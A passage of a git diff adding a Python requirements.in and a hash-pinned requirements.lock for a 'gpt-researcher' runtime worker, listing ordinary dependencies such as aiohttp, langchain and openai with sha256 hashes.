--hash=sha256:f98bf378d7a5be047a044a1a27c987a8f355e10e3b5754617dbe756248cbc5ce \ + --hash=sha256:fb88076df585b69c5761c387c0081aa87d7b9eb1b205a6535ca4777e25650d81 \ + --hash=sha256:fd8f47dbf2e8adb15c847215f83436de3fdb120b51fdae0fbbdf69fd97a3ad80 \ + --hash=sha256:ff3e2ba7a9f0a110b0555452e9b5a03a34e11662544e01beea15f144b48ba7b7 diff --git a/blueprints/runtime-workers/gpt-researcher/requirements.in b/blueprints/runtime-workers/gpt-researcher/requirements.in new file mode 100644 index 000000000..80df64c15 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/requirements.in @@ -0,0 +1,149 @@ +# Source and generation command: research.md (local integration lock, not upstream). +aiofiles>=23.2.1 +aiohappyeyeballs>=2.6.1 +aiohttp>=3.12.0 +aiosignal>=1.3.2 +annotated-types>=0.7.0 +anyio>=4.9.0 +arxiv>=2.0.0 +attrs>=25.3.0 +backoff>=2.2.1 +beautifulsoup4>=4.12.2 +brotli>=1.2.0 +certifi>=2025.4.26 +cffi>=1.17.1 +chardet>=5.2.0 +charset-normalizer>=3.4.2 +click>=8.1.0 +colorama>=0.4.6 +cryptography>=45.0.2 +cssselect2>=0.8.0 +dataclasses-json>=0.6.7 +distro>=1.9.0 +docopt>=0.6.2 +duckduckgo-search>=4.1.1 +emoji>=2.14.1 +fastapi>=0.104.1 +feedparser>=6.0.11 +filelock>=3.18.0 +filetype>=1.2.0 +fonttools>=4.58.0 +frozenlist>=1.6.0 +fsspec>=2025.5.1 +greenlet>=3.2.2 +h11>=0.16.0 +html5lib>=1.1 +htmldocx>=0.0.6 +httpcore>=1.0.9 +httpx>=0.28.1 +httpx-aiohttp>=0.1.4 +httpx-sse>=0.4.0 +huggingface-hub>=0.32.0 +idna>=3.10 +importlib-metadata>=8.7.0 +jinja2>=3.1.6 +jiter>=0.10.0 +joblib>=1.5.1 +json-repair>=0.44.0 +json5>=0.12.0 +jsonpatch>=1.33 +jsonpointer>=3.0.0 +jsonschema>=4.23.0 +jsonschema-specifications>=2025.4.1 +kiwisolver>=1.4.5 +langchain>=1.0.0 +langchain-classic>=1.0.0 +langchain-community>=0.4.0 +langchain-core>=1.0.0 +langchain-ollama>=1.0.0 +langchain-openai>=1.0.0 +langchain-text-splitters>=1.0.0 +langdetect>=1.0.9 +langgraph>=0.2.76 +langgraph-checkpoint>=2.0.26 +langgraph-cli>=0.2.10 +langgraph-sdk>=0.1.70 +langsmith>=0.3.42 +litellm>=1.71.0 +loguru>=0.7.3 +lxml>=5.4.0 +markdown>=3.8 +markdown2>=2.5.3 +markupsafe>=3.0.2 +marshmallow>=3.26.1 +mcp>=1.9.1,<2.0.0 +md2pdf>=1.0.1 +mistune>=3.1.3 +multidict>=6.4.4 +mypy-extensions>=1.1.0 +nest-asyncio>=1.6.0 +nltk>=3.9.1 +numpy>=2.0.0,<2.5.0 +olefile>=0.47 +ollama>=0.4.8 +openai>=1.82.0 +orjson>=3.10.18 +ormsgpack>=1.10.0 +packaging>=24.2 +pillow>=11.2.1 +primp>=0.15.0 +propcache>=0.3.1 +psutil>=6.0.0 +pycparser>=2.22 +pydantic>=2.11.5 +pydantic-core>=2.33.2 +pydantic-settings>=2.9.1 +pydyf>=0.11.0 +pymupdf>=1.26.0 +pypdf>=5.5.0 +pyphen>=0.17.2 +python-docx>=1.1.2 +python-dotenv>=1.1.0 +python-iso639>=2025.2.18 +python-magic>=0.4.27 +python-multipart>=0.0.20 +python-oxmsg>=0.0.2 +pyyaml>=6.0.2 +rapidfuzz>=3.13.0 +referencing>=0.36.2 +regex>=2024.11.6 +requests>=2.32.3 +requests-toolbelt>=1.0.0 +rpds-py>=0.25.1 +sgmllib3k>=1.0.0 +six>=1.17.0 +sniffio>=1.3.1 +soupsieve>=2.7 +sqlalchemy>=2.0.41 +sse-starlette>=2.3.5 +starlette>=0.46.2 +tenacity>=9.1.2 +tiktoken>=0.9.0 +tinycss2>=1.4.0 +tinyhtml5>=2.0.0 +tokenizers>=0.21.1 +tqdm>=4.67.1 +typing-extensions>=4.13.2 +typing-inspect>=0.9.0 +typing-inspection>=0.4.1 +unstructured>=0.17.2 +unstructured-client>=0.35.0 +urllib3>=2.4.0 +uvicorn>=0.34.2 +weasyprint>=65.1 ; sys_platform != 'win32' +webencodings>=0.5.1 +websockets>=15.0.1 +win32-setctime>=1.2.0 +wrapt>=1.17.2 +yarl>=1.20.0 +zipp>=3.21.0 +zopfli>=0.2.3.post1 +zstandard>=0.23.0 +langchain-openai==1.6.6 +langchain-mcp-adapters==0.3.2 +poetry-core==2.5.0 +setuptools +wheel +ddgs +pytest==9.1.1 +pytest-asyncio==1.4.0 diff --git a/blueprints/runtime-workers/gpt-researcher/requirements.lock b/blueprints/runtime-workers/gpt-researcher/requirements.lock new file mode 100644 index 000000000..743fd616a --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/requirements.lock @@ -0,0 +1,4534 @@ +aiofiles==25.1.0 \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.7.1 \ + --hash=sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d \ + --hash=sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-doc==0.0.5 \ + --hash=sha256:117bac03a25ede5df5440e855b32d556049ca169ead221505badf432fed4b101 \ + --hash=sha256:c7e58ce09192557605d8bbd92836d7e1d520ac9580096042c0bfd197efacf1bb +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 +anyio==4.15.1 \ + --hash=sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101 \ + --hash=sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94 +arxiv==4.0.1 \ + --hash=sha256:304e91a9f869fa4cc362a0a6f38ecb956eec11b83619465172ab24b9453e3d51 \ + --hash=sha256:72a79d22a83fec14c3a23966791692e2400399c218ad4e5416ce84af817a9cc9 +attrs==26.1.0 \ + --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \ + --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32 +backoff==2.2.1 \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beautifulsoup4==4.15.0 \ + --hash=sha256:288e3ca7d54b06f2ac191970bc275c1939cb46d450b255bf6718b04aa37ab4f7 \ + --hash=sha256:d6f88de62e1d4e38ecb1077eb9724cd0eff29d2a08ca16a401e9b9e93f117cf9 +blis==1.3.3 \ + --hash=sha256:034d4560ff3cc43e8aa37e188451b0440e3261d989bb8a42ceee865607715ecd \ + --hash=sha256:1e647341f958421a86b028a2efe16ce19c67dba2a05f79e8f7e80b1ff45328aa \ + --hash=sha256:1ef6d6e2b599a3a2788eb6d9b443533961265aa4ec49d574ed4bb846e548dcdb \ + --hash=sha256:27f82b8633030f8d095d2b412dffa7eb6dbc8ee43813139909a20012e54422ea \ + --hash=sha256:2a1c74e100665f8e918ebdbae2794576adf1f691680b5cdb8b29578432f623ef \ + --hash=sha256:30b8a5b90cb6cb81d1ada9ae05aa55fb8e70d9a0ae9db40d2401bb9c1c8f14c4 \ + --hash=sha256:3f6c595185176ce021316263e1a1d636a3425b6c48366c1fd712d08d0b71849a \ + --hash=sha256:3f966ca74f89f8a33e568b9a1d71992fc9a0d29a423e047f0a212643e21b5458 \ + --hash=sha256:45866a9027d43b93e8b59980a23c5d7358b6536fc04606286e39fdcfce1101c2 \ + --hash=sha256:6297e7616c158b305c9a8a4e47ca5fc9b0785194dd96c903b1a1591a7ca21ddf \ + --hash=sha256:62fb8c731347b0f98f5f81d19d339049e61489798738467d156c66cc329b0754 \ + --hash=sha256:631836d4f335e62c30aa50a1aa0170773265c73654d296361f95180006e88c04 \ + --hash=sha256:650f1d2b28e3c875927c63deebda463a6f9d237dff30e445bfe2127718c1a344 \ + --hash=sha256:66e6249564f1db22e8af1e0513ff64134041fa7e03c8dd73df74db3f4d8415a7 \ + --hash=sha256:6f165930e8d3a85c606d2003211497e28d528c7416fbfeafb6b15600963f7c9b \ + --hash=sha256:7260da065958b4e5475f62f44895ef9d673b0f47dcf61b672b22b7dae1a18505 \ + --hash=sha256:7a0fc4b237a3a453bdc3c7ab48d91439fcd2d013b665c46948d9eaf9c3e45a97 \ + --hash=sha256:7e88181e9dd8430029ebaf22d41bf79e756e8c95363e9471717102c66beb4a6d \ + --hash=sha256:8177879fd3590b5eecdd377f9deafb5dc8af6d684f065bd01553302fb3fcf9a7 \ + --hash=sha256:878d4d96d8f2c7a2459024f013f2e4e5f46d708b23437dae970d998e7bff14a0 \ + --hash=sha256:8c888438ae99c500422d50698e3028b65caa8ebb44e24204d87fda2df64058f7 \ + --hash=sha256:9b0d42420ddd543eec51ccb99d38364a0c0833b6895eced37127822de6ecacff \ + --hash=sha256:9de26fbd72bac900c273b76d46f0b45b77a28eace2e01f6ac6c2239531a413bb \ + --hash=sha256:9e5fdf4211b1972400f8ff6dafe87cb689c5d84f046b4a76b207c0bd2270faaf \ + --hash=sha256:c3e33cfbf22a418373766816343fcfcd0556012aa3ffdf562c29cddec448a415 \ + --hash=sha256:c4ae70629cf302035d268858a10ca4eb6242a01b2dc8d64422f8e6dcb8a8ee74 \ + --hash=sha256:d0114cf2d8f19e0ed210f9ae92594cd0a12efa1bbbce444028b0fc365bbbb8af \ + --hash=sha256:d563160f874abb78a57e346f07312c5323f7ad67b6370052b6b17087ef234a8e \ + --hash=sha256:d734b19fba0be7944f272dfa7b443b37c61f9476d9ab054a9ac53555ceadd2e0 \ + --hash=sha256:e10c8d3e892b1dbdff365b9d00e08291876fc336915bf1a5e9f188ed087e1a91 \ + --hash=sha256:e5a662c48cd4aad5dae1a950345df23957524f071315837a4c6feb7d3b288990 \ + --hash=sha256:e9327a6ca67de8ae76fe071e8584cc7f3b2e8bfadece4961d40f2826e1cda2df \ + --hash=sha256:e9f5c53b277f6ac5b3ca30bc12ebab7ea16c8f8c36b14428abb56924213dc127 \ + --hash=sha256:f0628a030d44aa71cac5973e40c9e95ec767abaaf2fd366a094b9398885f82f2 \ + --hash=sha256:f20f7ad69aaffd1ce14fe77de557b6df9b61e0c9e582f75a843715d836b5c8af \ + --hash=sha256:f36c0ca84a05ee5d3dbaa38056c4423c1fc29948b17a7923dd2fed8967375d74 +boto3==1.43.103 \ + --hash=sha256:524821052527f6446d249bf710847b032d9b12135e346c9751777a0a2811cf04 \ + --hash=sha256:574796187eb4e4fcaaf5c1b88c1724a1ba5a95bc27aeae5573676178666acc71 +botocore==1.43.103 \ + --hash=sha256:6a6a561a6de43845ae42bc7ff7e2c798742bfa277f5215398f9c15ed9b1bd67c \ + --hash=sha256:8c7f220e09f3b7ec99c59c716aa66cf6f5b2b57fd8731544054f3778aa744c6a +brotli==1.2.0 \ + --hash=sha256:022426c9e99fd65d9475dce5c195526f04bb8be8907607e27e747893f6ee3e24 \ + --hash=sha256:072e7624b1fc4d601036ab3f4f27942ef772887e876beff0301d261210bca97f \ + --hash=sha256:09ac247501d1909e9ee47d309be760c89c990defbb2e0240845c892ea5ff0de4 \ + --hash=sha256:0bbd5b5ccd157ae7913750476d48099aaf507a79841c0d04a9db4415b14842de \ + --hash=sha256:0cf8c3b8ba93d496b2fae778039e2f5ecc7cff99df84df337ca31d8f2252896c \ + --hash=sha256:14ef29fc5f310d34fc7696426071067462c9292ed98b5ff5a27ac70a200e5470 \ + --hash=sha256:15b33fe93cedc4caaff8a0bd1eb7e3dab1c61bb22a0bf5bdfdfd97cd7da79744 \ + --hash=sha256:1b1d6a4efedd53671c793be6dd760fcf2107da3a52331ad9ea429edf0902f27a \ + --hash=sha256:1b557b29782a643420e08d75aea889462a4a8796e9a6cf5621ab05a3f7da8ef2 \ + --hash=sha256:1b71754d5b6eda54d16fbbed7fce2d8bc6c052a1b91a35c320247946ee103502 \ + --hash=sha256:1ce223652fd4ed3eb2b7f78fbea31c52314baecfac68db44037bb4167062a937 \ + --hash=sha256:1e68cdf321ad05797ee41d1d09169e09d40fdf51a725bb148bff892ce04583d7 \ + --hash=sha256:260d3692396e1895c5034f204f0db022c056f9e2ac841593a4cf9426e2a3faca \ + --hash=sha256:26e8d3ecb0ee458a9804f47f21b74845cc823fd1bb19f02272be70774f56e2a6 \ + --hash=sha256:2881416badd2a88a7a14d981c103a52a23a276a553a8aacc1346c2ff47c8dc17 \ + --hash=sha256:29b7e6716ee4ea0c59e3b241f682204105f7da084d6254ec61886508efeb43bc \ + --hash=sha256:2a7f1d03727130fc875448b65b127a9ec5d06d19d0148e7554384229706f9d1b \ + --hash=sha256:2d39b54b968f4b49b5e845758e202b1035f948b0561ff5e6385e855c96625971 \ + --hash=sha256:2e1ad3fda65ae0d93fec742a128d72e145c9c7a99ee2fcd667785d99eb25a7fe \ + --hash=sha256:3173e1e57cebb6d1de186e46b5680afbd82fd4301d7b2465beebe83ed317066d \ + --hash=sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac \ + --hash=sha256:350c8348f0e76fff0a0fd6c26755d2653863279d086d3aa2c290a6a7251135dd \ + --hash=sha256:35d382625778834a7f3061b15423919aa03e4f5da34ac8e02c074e4b75ab4f84 \ + --hash=sha256:3b90b767916ac44e93a8e28ce6adf8d551e43affb512f2377c732d486ac6514e \ + --hash=sha256:3e1b35d56856f3ed326b140d3c6d9db91740f22e14b06e840fe4bb1923439a18 \ + --hash=sha256:3ebe801e0f4e56d17cd386ca6600573e3706ce1845376307f5d2cbd32149b69a \ + --hash=sha256:3f3c908bcc404c90c77d5a073e55271a0a498f4e0756e48127c35d91cf155947 \ + --hash=sha256:40d918bce2b427a0c4ba189df7a006ac0c7277c180aee4617d99e9ccaaf59e6a \ + --hash=sha256:465a0d012b3d3e4f1d6146ea019b5c11e3e87f03d1676da1cc3833462e672fb0 \ + --hash=sha256:4735a10f738cb5516905a121f32b24ce196ab82cfc1e4ba2e3ad1b371085fd46 \ + --hash=sha256:4ecdb3b6dc36e6d6e14d3a1bdc6c1057c8cbf80db04031d566eb6080ce283a48 \ + --hash=sha256:50b1b799f45da91292ffaa21a473ab3a3054fa78560e8ff67082a185274431c8 \ + --hash=sha256:54a50a9dad16b32136b2241ddea9e4df159b41247b2ce6aac0b3276a66a8f1e5 \ + --hash=sha256:5732eff8973dd995549a18ecbd8acd692ac611c5c0bb3f59fa3541ae27b33be3 \ + --hash=sha256:598e88c736f63a0efec8363f9eb34e5b5536b7b6b1821e401afcb501d881f59a \ + --hash=sha256:640fe199048f24c474ec6f3eae67c48d286de12911110437a36a87d7c89573a6 \ + --hash=sha256:66c02c187ad250513c2f4fce973ef402d22f80e0adce734ee4e4efd657b6cb64 \ + --hash=sha256:67a91c5187e1eec76a61625c77a6c8c785650f5b576ca732bd33ef58b0dff49c \ + --hash=sha256:6be67c19e0b0c56365c6a76e393b932fb0e78b3b56b711d180dd7013cb1fd984 \ + --hash=sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21 \ + --hash=sha256:71a66c1c9be66595d628467401d5976158c97888c2c9379c034e1e2312c5b4f5 \ + --hash=sha256:7274942e69b17f9cef76691bcf38f2b2d4c8a5f5dba6ec10958363dcb3308a0a \ + --hash=sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b \ + --hash=sha256:7a47ce5c2288702e09dc22a44d0ee6152f2c7eda97b3c8482d826a1f3cfc7da7 \ + --hash=sha256:7a61c06b334bd99bc5ae84f1eeb36bfe01400264b3c352f968c6e30a10f9d08b \ + --hash=sha256:7ad8cec81f34edf44a1c6a7edf28e7b7806dfb8886e371d95dcf789ccd4e4982 \ + --hash=sha256:7e9053f5fb4e0dfab89243079b3e217f2aea4085e4d58c5c06115fc34823707f \ + --hash=sha256:7fa18d65a213abcfbb2f6cafbb4c58863a8bd6f2103d65203c520ac117d1944b \ + --hash=sha256:81da1b229b1889f25adadc929aeb9dbc4e922bd18561b65b08dd9343cfccca84 \ + --hash=sha256:82676c2781ecf0ab23833796062786db04648b7aae8be139f6b8065e5e7b1518 \ + --hash=sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d \ 